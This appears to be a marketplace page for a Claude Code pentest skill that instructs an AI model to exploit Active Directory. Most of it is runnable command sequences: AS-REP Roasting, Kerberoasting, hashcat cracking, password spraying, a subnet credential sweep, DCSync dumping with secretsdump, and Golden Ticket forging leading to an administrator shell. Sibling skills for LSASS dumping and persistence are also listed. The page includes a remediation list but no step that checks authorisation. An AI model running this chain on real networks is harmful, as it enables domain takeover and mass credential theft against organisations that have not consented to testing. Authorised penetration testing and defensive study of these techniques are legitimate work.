/claude-pentest-skills:ad-exploitationfrom claude-pentest-skills
Guides exploitation of Active Directory environments: credential attacks (Kerberoasting, AS-REP Roasting), lateral movement, privilege escalation, DCSync, and Golden Ticket attacks. Picks up from ad-recon output.
Ships in claude-pentest-skills. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
Read when SKILL.md points to them; scripts run unread.
scripts/
├── common_ad.sh # Shared functions (logging, has_tool, phase_done, emit_summary)
└── ad_attacks.sh # PHASES 1-3: credential attacks, network sweep, DCSync
Point to the output directory from a prior ad-recon run when available:
DC_IP="10.10.10.100"
DOMAIN="corp.local"
USERNAME="" # leave empty to start with unauthenticated attacks (AS-REP Roasting)
PASSWORD=""
NTLM_HASH="" # format: LM:NT or :NT
# ad-recon output directory (feeds users.txt, asrep_hashes.txt, kerberoast_hashes.txt)
RECON_OUT="$(pwd)/corp-local"
OUT="$(pwd)/corp-local-exploit"
SCRIPTS="$HOME/.claude/skills/ad-exploitation/scripts"
mkdir -p "$OUT"/{hashes,tickets,loot,enum}
# Link or copy recon files so scripts can find them
[ -d "$RECON_OUT" ] && {
cp -n "$RECON_OUT/enum/users.txt" "$OUT/enum/users.txt" 2>/dev/null || true
cp -n "$RECON_OUT/hashes/asrep_hashes.txt" "$OUT/hashes/asrep_hashes.txt" 2>/dev/null || true
cp -n "$RECON_OUT/hashes/kerberoast_hashes.txt" "$OUT/hashes/kerberoast_hashes.txt" 2>/dev/null || true
}
If no prior ad-recon was run, ask the user for DC_IP, DOMAIN, and a users.txt before proceeding.
Create progress tasks with TaskCreate:
"PHASE 1 — Credential Attacks (AS-REP Roasting, Kerberoasting, hash cracking)"
"PHASE 2 — Credential Validation Sweep (CME across subnet)"
"PHASE 3 — Domain Domination (DCSync, Golden Ticket)"
"PHASE 4 — Lateral Movement & Persistence"
"PHASE 5 — Report"
impacket-GetNPUsers — AS-REP Roasting (unauthenticated)
impacket-GetUserSPNs — Kerberoasting (requires valid creds)
hashcat > john — hash cracking
crackmapexec / netexec — credential sweep, pass-the-hash validation
evil-winrm — WinRM shell
impacket-psexec — SMB shell (admin share)
impacket-smbexec — SMB shell (no admin share needed)
impacket-secretsdump — DCSync, LSA dump
impacket-ticketer — Golden / Silver Ticket generation
kerbrute — password spraying (warn about lockout first)
xfreerdp / rdesktop — RDP access
mcp__hexstrike-ai__* — netexec_scan, hashcat_crack, john_crack, metasploit_run
mcp__Notion__* — publish final report
$RECON_OUT/enum/users.txt before running AS-REP Roasting — it's the main inputnet accounts /domain or enum4linux output); default to 1 attempt per usersudo ntpdate $DC_IPbash "$SCRIPTS/ad_attacks.sh" "$DC_IP" "$DOMAIN" "$OUT" --phase=1
# With credentials (for Kerberoasting):
bash "$SCRIPTS/ad_attacks.sh" "$DC_IP" "$DOMAIN" "$OUT" "$USERNAME" "$PASSWORD" --phase=1
Uses $OUT/enum/users.txt (from ad-recon). Identifies accounts with UF_DONT_REQUIRE_PREAUTH.
impacket-GetNPUsers "$DOMAIN/" \
-no-pass -usersfile "$OUT/enum/users.txt" \
-dc-ip "$DC_IP" -format hashcat \
-outputfile "$OUT/hashes/asrep_hashes.txt"
If hashes found → crack immediately (step 3.3).
impacket-GetUserSPNs "$DOMAIN/$USERNAME:$PASSWORD" \
-dc-ip "$DC_IP" -outputfile "$OUT/hashes/kerberoast_hashes.txt"
# With hash:
impacket-GetUserSPNs "$DOMAIN/$USERNAME" -hashes "$NTLM_HASH" \
-dc-ip "$DC_IP" -outputfile "$OUT/hashes/kerberoast_hashes.txt"
ROCKYOU=$(find rockyou.txt in /usr/share/wordlists or ~/wordlists)
# AS-REP (mode 18200)
hashcat -m 18200 "$OUT/hashes/asrep_hashes.txt" "$ROCKYOU" --force -o "$OUT/hashes/asrep_cracked.txt"
# Kerberoast (mode 13100)
hashcat -m 13100 "$OUT/hashes/kerberoast_hashes.txt" "$ROCKYOU" --force -o "$OUT/hashes/kerberoast_cracked.txt"
# NTLM (mode 1000)
hashcat -m 1000 "$OUT/hashes/ntlm_hashes.txt" "$ROCKYOU" --force -o "$OUT/hashes/ntlm_cracked.txt"
Fallback to john if hashcat not available.
# Check lockout policy first (from ad-recon enum4linux output or:)
rpcclient -U "" -N "$DC_IP" -c "querydominfo" 2>/dev/null | grep -i "lockout"
# Spray with kerbrute (1 attempt per user — safe default)
kerbrute passwordspray -d "$DOMAIN" --dc "$DC_IP" "$OUT/enum/users.txt" "Password123"
Given valid credentials (cleartext or NTLM hash), validate across the full subnet.
bash "$SCRIPTS/ad_attacks.sh" "$DC_IP" "$DOMAIN" "$OUT" "$USERNAME" "$CREDENTIAL" --phase=2
What it runs:
/24 — identifies hosts where creds are valid + admin access (Pwn3d!)$OUT/enum/cme_sweep.txt, $OUT/enum/admin_hosts.txt, $OUT/enum/cme_winrm.txtRead JSON summary. Flag (Pwn3d!) hosts — they are the entry points for ad-postexploitation.
Quick access validation (do not establish full sessions here — that belongs in ad-postexploitation):
# Just validate — confirm access, don't run full lateral movement yet
$CME smb "$TARGET_IP" -u "$USERNAME" -H "$NT_HASH" -x "whoami"
bash "$SCRIPTS/ad_attacks.sh" "$DC_IP" "$DOMAIN" "$OUT" "$USERNAME" "$CREDENTIAL" --phase=3
# Requires Domain Admin OR DCSync rights (GetChanges + GetChangesAll on domain object)
impacket-secretsdump "$DOMAIN/$USERNAME:$PASSWORD@$DC_IP" -just-dc-ntlm \
| tee "$OUT/loot/dcsync_hashes.txt"
# With hash:
impacket-secretsdump "$DOMAIN/$USERNAME@$DC_IP" -hashes "$NTLM_HASH" -just-dc-ntlm \
| tee "$OUT/loot/dcsync_hashes.txt"
# Extract key hashes
grep -i "krbtgt" "$OUT/loot/dcsync_hashes.txt" | head -1 > "$OUT/loot/krbtgt_hash.txt"
grep -i "administrator" "$OUT/loot/dcsync_hashes.txt" | head -1 > "$OUT/loot/admin_hash.txt"
# Requires: krbtgt NTLM hash + domain SID (from DCSync output)
KRBTGT_HASH=$(cat "$OUT/loot/krbtgt_hash.txt" | cut -d: -f4)
DOMAIN_SID=$(impacket-getPac "$DOMAIN/$USERNAME:$PASSWORD@$DC_IP" 2>/dev/null | grep "Domain SID" | awk '{print $NF}')
impacket-ticketer -nthash "$KRBTGT_HASH" -domain-sid "$DOMAIN_SID" -domain "$DOMAIN" Administrator
export KRB5CCNAME="Administrator.ccache"
impacket-psexec -k -no-pass "$DOMAIN/Administrator@$DC_HOSTNAME"
# Requires: service account NTLM hash + domain SID + SPN
impacket-ticketer -nthash "$SVC_HASH" -domain-sid "$DOMAIN_SID" -domain "$DOMAIN" \
-spn "cifs/$TARGET_HOSTNAME" Administrator
# Import $RECON_OUT/bloodhound/*.zip into BloodHound GUI
# Key Cypher queries to prioritize attacks:
# Shortest Paths to Domain Admins
# Find Principals with DCSync Rights
# Kerberoastable Users with path to DA
# Computers with Unconstrained Delegation
BloodHound identifies the most efficient paths from cracked accounts to Domain Admin.
Lateral movement, ACL abuse, delegation attacks, and privilege escalation are handled in ad-postexploitation.
Once Phase 4 identifies hosts where credentials are valid (admin_hosts.txt) and Phase 5 obtains
the krbtgt hash, pass all context to ad-postexploitation:
POSTEX_CONTEXT="
DC_IP=$DC_IP
DOMAIN=$DOMAIN
USERNAME=$USERNAME (or cracked account)
NT_HASH=$NT_HASH
ADMIN_HOSTS=$OUT/enum/admin_hosts.txt
WINRM_HOSTS=$OUT/enum/cme_winrm.txt
KRBTGT_HASH=$(cat $OUT/loot/krbtgt_hash.txt 2>/dev/null)
BLOODHOUND_ZIP=$RECON_OUT/bloodhound/
"
# Load ad-postexploitation skill with this context
## AD EXPLOITATION REPORT — [DOMAIN] — [DATE]
## DC: $DC_IP | Recon: $RECON_OUT | Output: $OUT
### Access Achieved
- Domain Admin: [Yes/No]
- Accounts compromised: [list with method]
- Hosts with admin access: [count]
### Critical Findings
1. [CRITICAL] Domain Admin achieved via: [attack path]
2. [CRITICAL] DCSync completed — krbtgt hash obtained
3. [CRITICAL] AS-REP Roastable accounts: [list + cracked passwords]
4. [HIGH] Kerberoastable accounts: [list + cracked passwords]
5. [HIGH] Pass-the-hash successful on: [host list]
6. [MEDIUM] Password spraying: [accounts found]
### Attack Path Summary
[Step-by-step narrative from initial foothold to Domain Admin]
### Persistence Mechanisms
[List backdoors, created accounts, Golden Tickets — with cleanup instructions]
### Remediation
- Enforce pre-auth on all accounts (eliminates AS-REP Roasting)
- Use strong, unique passwords for service accounts (mitigates Kerberoasting)
- Enable SMB signing (prevents relay attacks)
- Audit and restrict DCSync rights
- Rotate krbtgt password twice (invalidates Golden Tickets)
- Review BloodHound attack paths and break privilege chains
If Notion MCP is available, publish with mcp__Notion__notion-create-pages.
Capture evidence from every completed attack phase. Essential for the AD exploitation report.
mkdir -p "$OUT/evidence"
# Terminal screenshot (macOS)
screencapture -x "$OUT/evidence/exploit_$(date +%Y%m%d_%H%M%S)_$DESCRIPTION.png"
# Terminal screenshot (Linux)
scrot "$OUT/evidence/exploit_$(date +%Y%m%d_%H%M%S)_$DESCRIPTION.png"
# Full attack session log
script -q -a "$OUT/evidence/attack_session_$(date +%Y%m%d_%H%M%S).log"
What to capture per phase:
Status: Cracked with the cracked passwords(Pwn3d!) visible for compromised hosts-k confirming access as AdministratorSubmit to Notion:
mcp__Notion__notion-create-pages — create AD exploitation page per attack phase
mcp__Notion__notion-update-page — attach screenshots per phase (CME Pwn3d, DCSync, Golden Ticket)
mcp__hexstrike-ai__*)Use for: netexec_scan, hashcat_crack, john_crack, smbmap_scan, responder_credential_harvest.
mcp__Notion__*)Publish final report. Link to ad-recon report page. Create subpage per critical finding.
| Mode | When to use | What runs |
|---|---|---|
--quick | Fast attack from recon output | Phase 1 (AS-REP + cracking) + Phase 2 (sweep) |
--full | Full attack chain | Phases 1 → 2 → 3 + handoff context |
--dcsync | Already have DA creds | Phase 3 only |
--spray | Credential spraying | Phase 1.4 only (after lockout check) |
$RECON_OUT/enum/users.txt and $RECON_OUT/hashes/ before running — ad-recon may have already collected AS-REP hashesLM:NT or :NT (pad LM with aad3b435b51404eeaad3b435b51404ee:)What SKILL.md sets; muted values are Claude Code's defaults
8 skills in this plugin
/ad-postexploitationActive Directory post-exploitation skill — covers everything after gaining initial access to a Windows domain environment. Activate when the user has valid domain credentials, a shell on a domain-joined machine, or escalated privileges and wants to: move laterally across the network, escalate to Domain Admin, harvest credentials from memory or disk, establish domain persistence, dump LSASS, abuse privilege tokens, or pivot through the domain. Also activate for: pass-the-hash, pass-the-ticket, Mimikatz, LSASS dump, token impersonation, SAM dump, scheduled task persistence, Skeleton Key, Diamond Ticket, AdminSDHolder, or any post-compromise AD activity.
/ad-reconActive Directory reconnaissance skill — host discovery and comprehensive AD enumeration. Activate when the user wants to map an AD environment, enumerate users, groups, shares, trusts, SPNs, or BloodHound data before attacking. Also activate for phrases like "map the domain", "enumerate AD", "find AD users", "collect BloodHound data", or any variation of "start an AD pentest" on a domain target. Outputs feed directly into the ad-exploitation skill.
/ad-reportActive Directory penetration testing report generation skill. Activate when the user wants to write, generate, or finalize a report for an AD pentest engagement. Consolidates outputs from ad-recon, ad-exploitation, and ad-postexploitation skills into a structured technical and executive report. Produces findings in standardized format (name, criticality, CVSS, description, impact, recommendation, evidence). Default mode: combined technical + executive. Publishes to Notion via MCP when available.
/web-exploitationWeb application exploitation skill — offensive kill chain for confirming and exploiting vulnerabilities discovered during web recon. Activate when the user mentions exploiting, testing, or confirming vulnerabilities such as SQLi, XSS, LFI, RFI, SSRF, SSTI, XXE, broken access control, IDOR, JWT attacks, OAuth abuse, file upload bypass, deserialization, RCE, CSRF, or any variation of "exploit this endpoint", "test this param", or "web exploitation" after a recon phase. Picks up where web-recon leaves off — reuses recon output when available.
/web-postexploitationWeb post-exploitation skill — covers everything after achieving code execution on a web server. Activate when the user has a webshell, reverse shell, or confirmed RCE on a web server and wants to: stabilize the shell, escalate privileges, enumerate the server, exfiltrate data, move laterally, or establish persistence. Also covers PHP disable_functions bypass, webshell obfuscation, and reverse shell generation. Assumes the user has already exploited a vulnerability and needs to maximize access from within the web server context.
/web-reconFull offensive reconnaissance skill for Web Pentest and Bug Bounty. Activate when the user mentions recon, reconnaissance, subdomain enumeration, attack surface mapping, bug bounty recon, or any variation of "start a pentest" on a domain/target. Covers: subdomain enumeration, DNS resolution, live detection, screenshots, URL/parameter discovery, JS analysis (source maps + secrets), content discovery, nuclei scan, CMS scan (WordPress/Drupal/Joomla), and intelligence report generation. All output is saved in a subdirectory named after the target within the current project directory.
Generated from the plugin's indexed repository (douglasrao/claude-pentest-skills) — no native marketplace selected
npx claudepluginhub p/douglasrao-claude-pentest-skills-2Other plugins' skills for the same job